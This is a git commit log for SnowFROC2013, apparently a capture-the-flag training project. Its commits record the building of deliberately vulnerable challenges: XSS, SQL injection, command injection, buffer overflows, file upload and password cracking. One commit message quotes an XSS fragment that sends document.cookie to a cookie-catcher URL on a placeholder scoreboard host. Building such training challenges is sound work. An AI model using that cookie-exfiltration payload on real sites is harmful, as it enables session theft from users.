added cutsenes, index page, and modified readme

Original commit log below:
----------------------------------------

commit c459b6f2243b41461fbf29d385acae2bfba7a11d
Author: Greg Foss <greg.foss@owasp.org>
Date:   Sun May 12 00:23:54 2013 -0500

    .

commit 887a9b0a223e73531ac4c824446669d3c7b5f66c
Author: gfoss <greg.foss@owasp.org>
Date:   Sat May 11 23:22:19 2013 -0600

    public release

commit f92bdfa3513a4f423456c8e657cdd271b6efc670
Author: gfoss <greg.foss@owasp.org>
Date:   Sat May 11 23:16:07 2013 -0600

    commit e7096b2ac89824ce2e1f79497438b21f1fa27fae
    Author: gfoss <greg.foss@owasp.org>
    Date:   Wed Apr 10 20:51:53 2013 -0600

        readme updates

        small changes, prepping for code-release.

    commit c1d36a526eb2ff34d4c9ba6d573336d688f36a6e
    Author: Karen <kjblakemore@ubuntu.(none)>
    Date:   Wed Mar 27 21:54:00 2013 -0600

        Updated two reverse engineering READMEs in ACT 3, SCENE 2.

    commit 01508fd3d695fe495328d54305e1a14fdfe7b71b
    Author: Carcarius <heath@carcarius.com>
    Date:   Wed Mar 27 21:28:35 2013 -0600

        New update

    commit b4046adaf87bc2f13eeebb65087231ccb6a052a5
    Author: gfoss <greg.foss@owasp.org>
    Date:   Wed Mar 27 18:50:46 2013 -0600

        slicin' up the cutscenes

    commit a3697e966713593ca5cc9b328aee8d4fff3c7a00
    Author: Carcarius <heath@carcarius.com>
    Date:   Tue Mar 26 23:17:29 2013 -0600

        Update to README.txt

    commit 15dbd480207e8b51eee7616a65e3e97ee81fce8f
    Author: gfoss <greg.foss@owasp.org>
    Date:   Tue Mar 26 23:13:47 2013 -0600

        minor formatting changes - act1_scene2

    commit fce6661b9e3ea5989327783330b9ddf1b4fb9163
    Author: Carcarius <heath@carcarius.com>
    Date:   Tue Mar 26 23:12:56 2013 -0600

        Update to re_hmm

        Need to update README with more detail

    commit 902d8371851509c92e886ff3cee314569159fdcc
    Author: gfoss <greg.foss@owasp.org>
    Date:   Tue Mar 26 23:04:31 2013 -0600

        fixing error in act1_scene2

        fixed on main server as well, all good for CTF

    commit 57e197b7079f15e9109b308d0e25eaa0917917f6
    Merge: b8b17bb 0c7178e
    Author: Karen <kjblakemore@ubuntu.(none)>
    Date:   Tue Mar 26 22:06:11 2013 -0600

        Merge branch 'master' of github.com:mjmajor/SnowFROC2013

    commit 0c7178ebca2583747357fa2ac0b667381d2b17b9
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Wed Mar 27 04:32:52 2013 -0700

        Added grant privileges for act3login user

    commit 9369c0b3f846d479c69f2aa16192892ead0e2fd0
    Merge: 3e40d87 b931a9c
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Wed Mar 27 04:27:10 2013 -0700

        Merge branch 'master' of https://github.com/mjmajor/SnowFROC2013

    commit 3e40d87e48753fcd88ce80d4a7eb64910a35ff51
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Wed Mar 27 04:26:15 2013 -0700

        Readme file with Act3 mysql root password

    commit b8b17bbf9fbb6630309b1faef61b25a92b0d29e7
    Author: Karen <kjblakemore@ubuntu.(none)>
    Date:   Tue Mar 26 22:01:46 2013 -0600

        Add top-level README.txt file - contains READMEs for all
challenges.

    commit b931a9c1fde09467d64d0d8a37a196ce3c4c3888
    Author: carcarius <heath@carcarius.com>
    Date:   Tue Mar 26 21:14:15 2013 -0600

        README.txt updated

    commit 61cc04af3c897d487d5ac5c6099683e123e0a44d
    Author: gfoss <greg.foss@owasp.org>
    Date:   Mon Mar 25 21:40:58 2013 -0600

        changes to cutscenes

        adapted to updated script

    commit 79ba34956bf21610eb241e3448dd6a628d6cca05
    Merge: feb217b 6fd0721
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Mon Mar 25 04:16:35 2013 -0700

        Merge branch 'master' of https://github.com/mjmajor/SnowFROC2013

    commit feb217bdc7cfd3332451b6e3d575d7cf877348e8
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Mon Mar 25 04:15:57 2013 -0700

        Added new flag to obfuscated js challenge

    commit 38c63149d0e375c784dd86a7bc2e126d7a7e5e2c
    Merge: 6d23abe 1668e88
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Mon Mar 25 03:50:31 2013 -0700

        Merge branch 'master' of https://github.com/mjmajor/SnowFROC2013

    commit 6d23abee192ff24281fd32809a90ce6f4284effb
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Mon Mar 25 03:46:43 2013 -0700

        committing modified files

    commit e542553184c3507a0c95ed0d9dc01c021f36a246
    Merge: 07ec213 34698ed
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Sun Mar 24 20:09:41 2013 -0700

        Merge branch 'master' of https://github.com/mjmajor/SnowFROC2013

    commit 07ec213ea8218e19d6263d0ba6debdfbcf0f8d12
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Sun Mar 24 20:08:59 2013 -0700

        New changes for act 3, scene 1X

    commit 6fd07210771caa2815476d447d8545313e49e1f6
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 24 20:52:54 2013 -0600

        updating cutscene links

        Still need links for act 4

    commit 1668e88d797ad5131c412bb71dea4178eb52f85e
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 24 20:17:34 2013 -0600

        added stego challenge

        flag hidden in metadata

    commit 870b6bcc6bc17793becce26c94e6cde692f836d4
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 24 19:53:51 2013 -0600

        updated cutscenes to mesh w/ scoreboard

    commit 3cb2b9c3215a5a0532e2d57cc6269818cfc25810
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 24 19:06:56 2013 -0600

        changes to act1_scene2

        Added a user and password: Kate_Libby.
        Added e-mail history challanges.
        Other code changes.

    commit bf6549d66857e345a43d145e20faa0d57d20a950
    Author: Samuel Leathers <sam@appliedtrust.com>
    Date:   Sun Mar 24 16:42:41 2013 -0600

        adding solution to challenge including shellcode examples

    commit a28a068762442d735c6a4e19d56d70cc92bb79f3
    Author: Karen <kjblakemore@ubuntu.(none)>
    Date:   Sun Mar 24 15:55:18 2013 -0600

        Adding a buffer overflow challenge.

    commit 68d67f9ee4a05b3da1d28ff0c278eb9fb4353c86
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 24 15:26:43 2013 -0600

        changes to act2_scene2

        changed to 'agency's log mgmt server'

    commit d236f5bdb2c0db0f052d4a1bae8a092be96cd5f1
    Author: carcarius <heath@carcarius.com>
    Date:   Sun Mar 24 15:19:23 2013 -0600

        new update

    commit 374121864c047e7ad0f6973df5d8146afd45c320
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 24 15:00:56 2013 -0600

        completed act1_scene2 pwd cracking challenge

        Added credential validation form.
        Added about page for 'the agency'.

    commit 34698edfcc060bdebabf5602dcdc9177065c1394
    Author: carcarius <heath@carcarius.com>
    Date:   Sat Mar 23 12:15:19 2013 -0600

        Updates to the RE challenges

    commit 9d9719b32e0972426242e59b2fae0af29520d5d8
    Merge: ff48efc b58dd7e
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Thu Mar 21 04:05:56 2013 -0700

        Merge branch 'master' of https://github.com/mjmajor/SnowFROC2013

    commit ff48efc5bace63fdcb6eba29448340988c2e764e
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Thu Mar 21 04:05:15 2013 -0700

        act 3

    commit b58dd7e77bd158ac26c0f574ff4485375a315b8a
    Author: gfoss <greg.foss@owasp.org>
    Date:   Wed Mar 20 20:30:07 2013 -0600

        removing pla image from shadowcorp challenges

        oops :-P

    commit a135f5c2329b77ce5796a445fb10daa61d8e6438
    Author: gfoss <greg.foss@owasp.org>
    Date:   Tue Mar 19 09:16:00 2013 -0600

        act2_scene2 -- completed

        Added 2 apache log file analysis challenges (easy and medium
difficulty)

    commit cea53affef3e0e8c979720d498104da57abf5c54
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 16 23:38:42 2013 -0600

        css tweaks

        fixing the cookie!

    commit bd57023bfbac6b643917e797223b65e2d0f7192c
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 16 23:24:14 2013 -0600

        fixed a bug in act1_scene2, added hidden sh33p flag

        unintentional information leakage resolved

    commit 4cf4154cf2160675003c41840c9d5716f25a20f2
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 16 22:53:59 2013 -0600

        added PLA logo to shadowcorp pages, css changes

        shadowcorp... a Portuguese Library Association company, lol

    commit f0647fa168b9038bc903eb8e6bde6ef2657fb92b
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 16 20:36:37 2013 -0600

        act2_scene1 - landing page complete

        Added PLA.png logo, still need to get this "stego'd" and then
import
        the one w/ the flag.

    commit 42878a81a0377f330a00ed15fe9e18f242349582
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 16 20:32:40 2013 -0600

        Added cutscene story titles, changed to HTML

        Not yet in scoreboard format… Maybe we can simply do a redirect
from
        the scoreboard to the cutscene? May reduce the chance for errors
        related to embedding the html. Thoughts?

    commit e6c548de12dc847ffeb970360a02e9d6dd5d08c4
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 16 18:52:23 2013 -0600

        fixing act1_scene1 bugs - check updated flag spreadsheet!

        resolving issues encountered during testing...

    commit 6cb259398c9091bfa72448fe71d6818b60a65fb1
    Author: gfoss <greg.foss@owasp.org>
    Date:   Wed Mar 13 12:31:53 2013 -0600

        challenge cutscenes completed

        Integrated all available challenges.
        Used wording from google doc, will modify after syncing w/
Crossi.

    commit 1fd02227237320127abd8fcbe610f62b891750e6
    Author: Karen Blakemore <karen-blakemore@comcast.net>
    Date:   Tue Mar 12 16:45:07 2013 -0600

        added flag

    commit c16992b20f54305aec34058ea215a07209f1aa48
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Mar 9 11:45:54 2013 -0700

        Remote File Inclusion -- challenge complete

        Added to 'shadowcorp' under the administrative section

    commit 681fcf30de7727dc393c9a495b271c825ad1541f
    Author: gfoss <greg.foss@owasp.org>
    Date:   Thu Mar 7 23:16:58 2013 -0700

        site defacement & twinkie challenge -- complete

        lol
        Some CSS tweaks and added a favicon

    commit d1101514683c46aea25c77a02c8032df8a8d3f28
    Author: Andrew Furze <afurze@mymail.mines.edu>
    Date:   Wed Mar 6 19:41:18 2013 -0700

        added shadow file

    commit 2ec5325dc3485deced034d181f104f302ad3b11b
    Author: Andrew Furze <afurze@mymail.mines.edu>
    Date:   Wed Mar 6 18:39:40 2013 -0700

        new folder for cli challanges, readme for cataloging various
files/scripts

    commit 39c6eba2af9fd8e923aff7cfa154ebbd74d996c2
    Author: gfoss <greg.foss@owasp.org>
    Date:   Tue Mar 5 22:25:32 2013 -0700

        removing extra file

    commit b834279e78be3eff8d88c2779916d3c13ff9f8cd
    Author: gfoss <greg.foss@owasp.org>
    Date:   Tue Mar 5 22:04:52 2013 -0700

        act2_scene2 -- almost complete

        3 flags, 4 points, 2 needed to advance (so far).
        Plan to add many more flags and hidden areas following the PCAP
party
        tomorrow.

    commit 5a2ffbb1ccb49d5e80564450eaa271adced5a22f
    Author: carcarius <heath@carcarius.com>
    Date:   Sun Mar 3 17:12:47 2013 -0700

        RE Update

    commit 49ba755ef13f4394038b01eb48bc50ddf65779b6
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 3 12:34:23 2013 -0700

        act1_scene2 -- complete

        11 flags, 15 total points. 3 points needed to progress.
        All storyboard elements accounted for.
        All flags documented within the spreadsheet.
        Please test...

    commit 39cc208981ccf0e0f7d6d6b035c619bca4b1c358
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Mar 3 00:17:29 2013 -0700

        scene1_act1 -- completed

        19 flags, 33 total points, 15 needed to reach scene1_act2.
        all flags documented on Trello.
        please test.

    commit 956cc34b54de05144fec7f8f5f3883d2544021e8
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Thu Feb 28 02:42:41 2013 -0800

        Updated company_xyz

    commit 0f5e0f7f962fd5f888295c1a9115ef27fa39347e
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Feb 23 10:44:11 2013 -0700

        added default-password phpmyadmin challenge

    commit d839c30ef230fbcacce6fa763c5e2c998150c19e
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Thu Feb 21 03:33:55 2013 -0800

        Completed Company_XYZ challenge

    commit e3decebfdcd31dd8a8ce6dc5d42e163e4baa28fb
    Author: gfoss <greg.foss@owasp.org>
    Date:   Wed Feb 20 09:02:51 2013 -0700

        adding Sam to Command Injection credits

        Because he rocks.  :-)

    commit 431cb03029be4ae00400706898b0dbf33f0245d0
    Author: Samuel Leathers <sam@appliedtrust.com>
    Date:   Tue Feb 19 23:27:25 2013 -0700

        Add a challenge to modify hidden form-field in HTML

    commit 785dd99ff60bc54b2be34a32c3df7848e68a21bc
    Author: Samuel Leathers <sam@appliedtrust.com>
    Date:   Tue Feb 19 23:00:49 2013 -0700

        Add challenge to get flag using telnet on port 80

        This challenge involves building a fake webserver using gcc and
having
        it start when the user begins the challenge, or as a startup
script.

    commit 7aaf6f7815a1daad7f7b871cb18d6928419fbd64
    Author: Samuel Leathers <sam@appliedtrust.com>
    Date:   Mon Feb 18 11:19:17 2013 -0500

        Adding a 4th command injection exercise.

        Exercise hard-codes ping -c2 as system prefix so user must
terminate the command
        and inject a command after the ping using ';'

    commit b7ac9f5c0023b88bb6b293fee72b086df4045513
    Author: Andrew Furze <afurze@mymail.mines.edu>
    Date:   Mon Feb 18 23:46:58 2013 -0700

        added username requirement and README

    commit 0a89910f4d00ff3f0aed9370714602b5b0ce7130
    Author: Andrew Furze <afurze@mymail.mines.edu>
    Date:   Mon Feb 18 14:32:17 2013 -0700

        chose a new password from the shorter word list supplied

    commit abc22facb5d02609939a7f6b5e93e3fde199e531
    Author: gfoss <greg.foss@owasp.org>
    Date:   Mon Feb 18 00:31:36 2013 -0700

        Created session encoding challenge

        Hard challenge, requires writing PHP and/other scripting to
decode the
        flag. Solution example included.

    commit a0efc4a54afd9241fc7dca8b441af085ba0604b5
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Feb 16 22:17:14 2013 -0700

        fixing bootstrap.css errors

        oops. Looks like the readme conversion didn't help much either,
lol. Oh
        well...

    commit 1687baa65e5ff086111569fc59dd30e6d308fc75
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Feb 16 14:03:11 2013 -0700

        created file upload challenge

        goal of this challenge is to upload a php shell and use this to
browse
        the directory and view the flag.

    commit 555785ae8485eb6e6b75f385280dc4ca2b218fc4
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Feb 16 13:52:10 2013 -0700

        moving buffer overflow folders

    commit c0b46c0628841a422e7beb1b235d6b339bcf6c78
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sat Feb 16 13:51:40 2013 -0700

        converted my README's to github friendly format

        Also made some small changes to the buffer overflow exercises.
Changed
        folders around and what-not...

    commit 6b76ebefda7628b3103893192d387c4db003656b
    Author: gfoss <greg.foss@owasp.org>
    Date:   Thu Feb 14 11:10:28 2013 -0700

        added wordlist for password-guess challenge

        Let's use a word from this list. It's a common list and is
short enough
        that we won't need to worry (as much) about a DoS attack while
people
        are brute-forcing passwords. :-)

    commit 96f555146a0ecfea3845af8a3cc4a28365a6683b
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Thu Feb 14 04:22:40 2013 -0800

        updates to company_xyz challenge

    commit 594236377a3c3e3e57c9c1fa61d3522fdd07e8ed
    Author: Andrew Furze <afurze@mymail.mines.edu>
    Date:   Wed Feb 13 19:24:05 2013 -0700

        new challance completed

    commit 9da3ceaa116ee6f75d9f2c832404f94529dd4802
    Merge: 9fd4744 4b9dde5
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Tue Feb 12 06:00:18 2013 +0400

        Merge branch 'master' of https://github.com/mjmajor/SnowFROC2013

    commit 4b9dde5c6312d4d1ea5862cd342f8fc0eb870770
    Author: gfoss <greg.foss@owasp.org>
    Date:   Mon Feb 11 21:41:56 2013 -0700

        Created SessionID Brute-Forcing Exercise

        New exercise on brute-forcing a session token to find the flag.
        Also cleaned up an error I noticed within the reflected XSS
HTML.

    commit 9fd4744877ad22e9d79121ca74b93f03aea4b303
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Tue Feb 12 05:59:22 2013 +0400

        New sqli development

    commit 16c9db43184c98eaf668d9699475c98bdded69e1
    Author: parallels <parallels@V1SC3RA.home>
    Date:   Wed Feb 6 06:16:41 2013 +0400

        challenge changes + adding new challenge

    commit a9f1fe9cb96f8d3ef1320d2dd445c6b4c2a0f8cc
    Author: parallels
<parallels@parallels-Parallels-Virtual-Platform.(none)>
    Date:   Wed Feb 6 01:28:06 2013 +0400

        changes to medium sqli challenge

    commit bfeef966524440df684442016402f282b156bd13
    Author: gfoss <greg.foss@owasp.org>
    Date:   Sun Feb 3 12:19:26 2013 -0700

        created medium, difficult, and hard stored-xss challenges

        New stored xss challenges.
        Wrote a cookie-catcher as well...
        Maybe we could have them submit the flag to the cookie catcher
script
        in order to get credit and prove they used XSS as opposed to
simply
        viewing the cookie?

http://[scoreboard]/cookie-catcher.php?cookie='+escape(document.cookie);
        Not sure the best way to track this though... Thoughts?

    commit b07c02cf39bd0b7884cea22f4699b3600dea5d7f
    Author: gfoss <greg.foss@owasp.org>
    Date:   Thu Jan 31 22:08:59 2013 -0700

        created medium, difficult, and hard reflected-XSS challenges

        3 new reflected xss challenges, each increasing in difficulty
        plan to create 3-additional stored-xss challenges soon
        still need to protect flag better

    commit 29edd3f7d402a8da92b2f3b3ae5cad981933626b
    Author: root <root@localhost.localdomain>
    Date:   Wed Jan 30 21:19:50 2013 -0700

        New medium sqli challenge.

    commit 5b27496e6f4892f5082d2b21c54f8b26bc4f891c
    Author: Karen Blakemore <karen-blakemore@comcast.net>
    Date:   Fri Jan 18 20:36:25 2013 -0700

        removing files

    commit eb76a2e1aa326b2ca2b4d91bf2043ba17820d857
    Author: Karen Blakemore <karen-blakemore@comcast.net>
    Date:   Fri Jan 18 20:29:36 2013 -0700

        adding javascript password challenge

    commit 139c3ec4877a67d3d0a7cd9fecde9394d52aa370
    Author: root <root@localhost.localdomain>
    Date:   Mon Jan 28 22:03:24 2013 -0700

        Added Easy directory for easy sqli challenge.

    commit 942d5b627dc07e75678f5dffbfa9bc1c73b24adc
    Author: root <root@localhost.localdomain>
    Date:   Mon Jan 28 21:57:08 2013 -0700

        Edited files and re-organized

    commit 485c906796fab9c67299cb8ac41c6ffe0f2af634
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Sat Jan 26 11:16:52 2013 -0700

        changes to code-execution readme

        Noticed some small errors, made changes...

    commit 73020230ae7098a2d736296da3c3e47b16407ddc
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Sat Jan 26 00:37:26 2013 -0700

        Created a code execution exercise

        Utilized php-charts_v1.0 and a recently disclosed exploit.
        Yous gets the shells and finds the flag...
        Also made some folder-structure changes to buffer_overflow.

    commit f861d8d3dc1fc139332370da48b0e741a03a5412
    Author: gfoss <greg.foss@owasp.org>
    Date:   Fri Jan 25 21:20:28 2013 -0700

        added phpinfo page

        Added a phpinfo page w/ flag to the management interface
exercises
        section.

    commit d0173fd9b2cf1106fe82ff73bf8a6778608b5107
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Sat Jan 19 10:16:32 2013 -0700

        modified pw cracking exercise to sha512 w/ salt

        Wanted this to be more realistic than md5...
        Added hints within the html page and pastebin entries for two
of the
        entries that may be tougher to crack.

    commit eca5fc206a3a389934d28d6fa2efcb594edd58ac
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Fri Jan 18 16:53:35 2013 -0700

        adding bootstrap.css to exercise 'menu'

        completely forgot about this, lol...

    commit c04c362c49d08b8970f9a4fd6e2381d287d527b2
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Fri Jan 18 16:03:11 2013 -0700

        Created a Linux password cracking exercise

        Simple Linux md5 (old steezy) password cracking exercise.
Possibly will
        add a salt or create a stage 2 piece, depending on thoughts
from the
        team.

    commit 23724fb1bb5cb34a740a174f7c0baf3ae627c7ee
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Fri Jan 18 14:20:59 2013 -0700

        Reflected XSS - stage 1 completed

        Stage 1 exercise and readme created.
        Hidden HTML hints were added to both reflected and stored XSS
exercises.

    commit a3eedae016920c871e1cec243032849dbf9651cd
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Thu Jan 17 00:19:20 2013 -0700

        completed the stored-XSS stage 1 exercise

        flag now resides within the cookie
        readme file has been updated
        submit.php has been updated with bootstrap.css

    commit 3277c6523a18558bf16d91578c13694bc6b88100
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Jan 16 13:09:00 2013 -0700

        modifying command-injection 'cmd' values - exercise 3

        changing parameter values from the previous 2 exercises, to
make it
        'somewhat' trickeier...

    commit e2fd6ab7b02cb3161c5fd505fc0c21246198849f
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Jan 16 12:51:10 2013 -0700

        created command-injection challenge #3

        A little tricker than the others, but still relatively easy and
quick
        to solve. I have updated the associated readme as well.

    commit b6dafd17286f59e2b4194d5c0aeca8b2c60f556b
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Jan 16 12:24:16 2013 -0700

        changed instances of 'key' to 'flag'

        $ grep -rl 'key=' ./ | xargs sed -i 's/key=/flag=/g'
        along w/ some manual changes..

    commit 9ad1708762479a4ef6389bee2067c44f9c5b4bc4
    Author: kjblakemore <karen-blakemore@comcast.net>
    Date:   Fri Jan 11 13:49:55 2013 -0800

        Create javascript password

    commit f7bd8a916894cfd2d5fe661702160dec656968d1
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Fri Jan 11 13:54:30 2013 -0700

        removing test phpmyadmin page...

    commit 4e1cf25b133330637b64020c35afc3b17396efcd
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Fri Jan 11 13:52:06 2013 -0700

        Adding fake administrative interface - PhpMyAdmin

        Basic fake administrative interface, includes key on the
homepage once
        discovered.

    commit a685377d151d80a4bdd498c0b65daf0f4111e6c3
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Fri Jan 11 13:05:54 2013 -0700

        Working on XSS exercises and CSS cleanup

        Still having issues returning the key via javascript without
giving it
        away in the source code...

    commit 2c708fb411c495a4b19286e6fef3e3c10fa0b0aa
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Fri Jan 11 12:16:32 2013 -0700

        Added bootstrap.css to xss and command injection exercises

        Made additional CSS tweaks - widened the container from 300px
to 600px
        on exercises currently using bootstrap.

    commit 199e628d8ebbe52bb80219d0f9e8a6059f01e940
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Thu Jan 10 12:18:20 2013 -0700

        Added directory indexing exercises

        Just about as simple as it gets...  lol

    commit 4f391c4e929028b294f56cf9fc4241e92d51c17d
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Thu Jan 10 12:06:52 2013 -0700

        Began stored XSS challenges

        Worked on the stored XSS challenges, ran into a cople issues,
see
        Trello for details.

    commit 3ff85a69f5fe9315370a9f4b5c47b623f633017e
    Author: Greg Foss <foss.greg@gmail.com>
    Date:   Thu Jan 10 10:58:13 2013 -0700

        Adding command-injection exercises

        Created two basic command injection exercises that center around
        vulnerable PHP code. Please review and provide feedback when
you have
        the time. Thanks!

    commit 507727e125877f3e9a9f5e0edccd4a842ad754e1
    Author: root <root@localhost.localdomain>
    Date:   Sun Jan 6 21:12:33 2013 -0700

        Working login form

    commit edce50bb8998b5fc1bf2dcf74a70c42be383a17d
    Author: root <root@localhost.localdomain>
    Date:   Wed Jan 2 19:57:23 2013 -0700

        simple mysqldump with user table for testing

    commit 290491320ff8b5897f990f55e8b86e63076d6d3d
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Jan 2 19:35:46 2013 -0700

        implementing Tyler's update form style

    commit 8ae941872dabee19a3df701d97593e33207c7d41
    Author: root <root@localhost.localdomain>
    Date:   Wed Jan 2 19:26:36 2013 -0700

        Adding bootstrap and easy login form file

    commit 68582ecf57577f73230d2ff1e1356b3628612e80
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Jan 2 18:57:21 2013 -0700

        added bootstrap.css

        We plan to utilize this basic CSS on top of the framework the
CSU guys
        are putting together for all form fields.

    commit c50758f75a8b172215b85203b4273b4412c65837
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Tue Jan 1 20:29:17 2013 -0700

        removed html style attributes

    commit 4264ac6169bd80920c161b41d9108d4acca3c46b
    Author: Mark Major <mjmajor@gmail.com>
    Date:   Thu Dec 20 14:49:21 2012 -0700

        Adding "Auth: password in obfuscated Javascript"

        Adding a moderate-complexity authentication challenge in which
the
        password is hidden within obfuscated Javascript. Challengers
must obtain
        the source code, untangle the Javascript, then decipher the
password.

    commit cddcb334554b840d848f809d2af321b30aecb59e
    Author: carcarius <heath@carcarius.com>
    Date:   Wed Dec 19 21:33:52 2012 -0700

        Moved all RE code into the re/ folder

    commit 0886b1b8d46c11f7cd488609cbc0845a6ac3ed12
    Merge: 8d89c8a 7dde475
    Author: carcarius <heath@carcarius.com>
    Date:   Wed Dec 19 21:32:10 2012 -0700

        Merge branch 'master' of github.com:mjmajor/SnowFROC2013

    commit 8d89c8a9327680a69da5317d9cdb1beb70a430ea
    Author: carcarius <heath@carcarius.com>
    Date:   Wed Dec 19 21:29:37 2012 -0700

        Moved all RE code into the re/ folder

    commit 7dde475bd4bbd98938737a0c4c055f9ab352f7bc
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Dec 19 20:51:30 2012 -0700

        changing 'key' to 'flag'

    commit bb7bc9795d5a5654b6fead3c788059e42123d4cf
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Dec 19 20:45:25 2012 -0700

        moar changes...

    commit 436ed83aa0210001edfb87ba1a7b491a8ad366cf
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Dec 19 20:41:23 2012 -0700

        fixed a font issue

    commit bd27f70aca1cccc145b0d19e7ba66473ce123c45
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Dec 19 20:35:16 2012 -0700

        quick update to hidden form value exercise

    commit d18960324555486f9ac1a97507dfa176ded6b915
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Dec 19 20:34:33 2012 -0700

        Created hidden form value exercise

    commit 6a20de7473561d141e0d059afcd1c27ea47401d3
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Wed Dec 19 19:40:56 2012 -0700

        Aded Free BSD Download link

    commit 0d5279e7c9c8f045fcf89e2d5866dbf7469b1ccd
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Tue Dec 18 21:42:27 2012 -0800

        Create README.md

    commit 77f40a22eb61ecd46f530607a4031cc6f375a735
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Tue Dec 18 13:36:59 2012 -0700

        Update challenges/buffer_overflow/medium.c

    commit 4bc5e523b8039dcf7731382668709f3db4912951
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Tue Dec 18 13:36:37 2012 -0700

        Update challenges/buffer_overflow/easy.c

    commit 5480a63a3c1e1835ce9adcfd02f767d3cf8720ac
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Mon Dec 17 22:25:52 2012 -0700

        cleaning up readme file for github format

    commit a6fa2677302f5b1d23e16bdf75020d9c5a343d07
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Mon Dec 17 22:23:05 2012 -0700

        typos

    commit 099779f2d9964a0f4bda35545d6174286b8c5924
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Mon Dec 17 22:21:33 2012 -0700

        updated readme, added compiled easy exercise

        Buffer Overflow readme has been updated to include more detailed
        instructions and hints. Ran into problems compiling the medium
exercise,
        something is wrong w/ my code. But easy is up and working...

    commit 641f8719d54d24813e3237cbcf5a3a47b8b1f96d
    Author: Greg Foss <greg.foss@owasp.org>
    Date:   Mon Dec 17 21:56:54 2012 -0700

        adding easy & medium buffer overflow exercises

    commit 771e0dd8a01225b668e5767d27ac36ebd12bc5fd
    Author: carcarius <heath@carcarius.com>
    Date:   Sat Dec 15 16:56:58 2012 -0700

        	new file:   README.md
        	new file:   re_login/re_login.c
        	new file:   sock_client/sock_client/bin/Debug/sock_client
        	new file:   sock_client/sock_client/obj/Debug/sock_client.o
        	new file:   sock_client/sock_client/sock_client.c
        	new file:   sock_client/sock_client/sock_client.cbp
        	new file:   sock_client/sock_client/sock_client.depend
        	new file:   sock_server/sock_server/bin/Debug/sock_server
        	new file:   sock_server/sock_server/obj/Debug/sock_server.o
        	new file:   sock_server/sock_server/sock_server.c

    commit 7a49eea0fd74543e02abbc3d829a395f89f97452
    Author: carcarius <heath@carcarius.com>
    Date:   Sat Dec 15 16:54:20 2012 -0700

        Once again, fixed the repo pointer, hopefully correct now

    commit c51a80278e54e85895c77c2f868ed5281a06861e
    Merge: c6d06a4 a5a51a5
    Author: carcarius <heath@carcarius.com>
    Date:   Sat Dec 15 16:39:00 2012 -0700

        fixed Readme.md conflict

    commit c6d06a4578cdb7622afb37cf3f8a19198b342898
    Merge: 9549aac 7225c3a
